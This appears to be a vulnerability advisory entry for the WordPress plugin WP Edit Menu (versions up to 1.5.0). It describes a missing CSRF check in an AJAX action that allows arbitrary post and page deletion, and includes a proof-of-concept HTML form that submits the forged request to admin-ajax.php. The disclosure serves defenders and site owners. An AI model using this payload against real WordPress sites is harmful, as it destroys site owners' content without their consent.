WordPress Plugin Vulnerabilities

WP Edit Menu <= 1.5.0 - Arbitrary Post Deletion via CSRF

Description

The plugin does not have CSRF in an AJAX action, which could allow attackers to make a logged in admin delete arbitrary posts/pages from the blog via a CSRF attack

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php?action= filter_menu" method="POST">
      <input type="hidden" name="val[]" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
